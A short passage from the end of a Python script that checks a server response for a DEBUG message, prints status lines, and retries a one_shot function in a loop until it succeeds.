    if "DEBUG:" in post_html:
        dbg = re.search(r"DEBUG:([^<]+)", post_html)
        print(f"[-] debug: {dbg.group(1).strip() if dbg else 'unknown'}")
    else:
        print("[-] no response, retry")
    return False


if __name__ == "__main__":
    i = 1
    while True:
        if one_shot(i):
            break
        i += 1
        time.sleep(2)